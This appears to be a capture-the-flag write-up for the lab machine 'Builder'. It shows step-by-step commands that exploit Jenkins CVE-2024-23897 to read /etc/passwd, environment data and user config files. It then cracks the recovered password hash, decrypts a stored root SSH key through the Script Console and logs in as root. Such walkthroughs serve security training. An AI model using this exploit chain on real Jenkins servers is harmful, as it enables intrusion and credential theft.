Builder
Machine Info
Builder is a medium-difficulty Linux machine that features a Jenkins instance. The Jenkins instance is found to be vulnerable to the CVE-2024-23897 vulnerability that allows unauthenticated users to read arbitrary files on the Jenkins controller file system. An attacker is able to extract the username and password hash of the Jenkins user jennifer
. Using the credentials to login into the remote Jenkins instance, an encrypted SSH key is exploited to obtain root access on the host machine.
Scanning
Open Ports
1
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.129.252.250 -oN allports
Service Detection
1
nmap -p22,8080 -sCV 10.129.252.250 -oN services
Jenkins Arbitrary File Read | CVE-2024-23897
Since there are only two open ports on the target and we don’t have credentials to use ssh
, we will focus our attention in port 8080 which is running a vulnerable version of Jenkins. It also have a stored credential that belongs to the root user but we can not access it.
CVE-2024-23897 abuses a feature of the CLI command parser that replaces an ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
Arbitrary File Read Vulnerability
To download Jenkins CLI you can use the following command:
1
wget http://10.129.252.250:8080/jnlpJars/jenkins-cli.jar
Downloading Jenkins CLI from the target
Since its a jar file we have to execute it like this:
1
java -jar jenkins-cli.jar
Based on the instructions, we must use -s
parameter to connect to the jenkins server.
1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080
According to the documentation of the vulnerability, we must use a command + @ + the file to read:
1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ help @/etc/passwd
The help command returns just few lines, however in the exploits available online they are using connect-node and when using it we saw it returns more content:
1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ connect-node @/etc/passwd
Getting Commands that Return more Info
To know which commands returns more content we can craft a special shell one-liner to execute every command and shows us the number of lines that command returns. First of all, we must have all the commands so we can iterate one by one. To do that, we can filter by the spaces just as shown in the image below:
The execution of
jenkins-cli
returns content as stderr, so we must change it to stdout so we can work with it. 2>&1.
1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ 2>&1 | grep -v ' ' | tr -d ' '
Once we have the commands organized one by one, we will create a for
loop to iterate through each line and execute the commands one by one in order to count the lines returned by each command.
1
for command in $(java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ 2>&1 | grep -v ' ' | tr -d ' '); do java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ $command @/etc/passwd 2>&1 | wc -l; done
Number of lines returned by each command
Now we are adding some text to get a clear output with the command and the lines it returns:
1
for command in $(java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ 2>&1 | grep -v ' ' | tr -d ' '); do echo "The command $command returns $(java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ $command @/etc/passwd 2>&1 | wc -l) lines"; done
You can also add some colors to have a better output:
1
for command in $(java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ 2>&1 | grep -v ' ' | tr -d ' '); do echo "The command \033[1;91m$command\033[0m returns \033[1;92m$(java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ $command @/etc/passwd 2>&1 | wc -l)\033[0m lines"; done
As shown above, there are some commands that returns more content than others and connect-node is one of those that returns more lines so we will use this command to read sensitive files from the victim machine.
Enumerating Sensitive Jenkins Files
Using the command connect-node
we are going to enumerate the target. First of all, we are going to read the /proc/self/environ
which has information about the current process. In this case, all information about Jenkins like the Home PATH. We can also read the first flag which is stored in /var/jenkins_home/
1
2
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ connect-node @/proc/self/environ
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ connect-node @/var/jenkins_home/user.txt
Here is the Jenkins Directory Structure where you can find interesting files to target. The information about users are usually stored in $JENKINS_HOME/users/users.xml
1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ connect-node @/var/jenkins_home/users/users.xml
Now you can target the config file of that user and display its passwordhash using the following command:
1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ connect-node @/var/jenkins_home/users/jennifer_12108429903186576833/config.xml 2>&1 | tail
We found the hash for the user jennifer, so let’s use john
to crack it:
1
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using john to get the password for jennifer
Now that we have credentials we can login to Jenkins
Shell as root
Now that we are logged in as jennifer we can access the credential we saw earlier.
There are two ways to get this credential, using the browser or the Arbitrary File Read vulnerability we exploit before. However you must be logged in in order to decrypt it because, according to the documentation, credentials configured in Jenkins are stored in an encrypted form on the controller Jenkins instance (encrypted by the Jenkins instance ID).
Getting the credential via the source
Getting the credential using the Arbitrary File Read
Now we have to decrypt this credential, so in order to see it in clear text we have to use the Script Console. Here is a link where you can find a way to decrypt this credential -> How to decrypt Jenkins credentials?
1
println(hudson.util.Secret.decrypt("{HERE GOES THE CREDENTIAL}"))
We get the id_rsa for the root user so we can use it as an authentication method using ssh
Remember to assign the correct permissions to the private key.
Using private key to connect to the target via ssh
Flags
- user.txt
1
2
cat /home/jennifer/user.txt
80f**************************o4d
- root.txt
1
2
cat /root/root.txt
61c**************************49f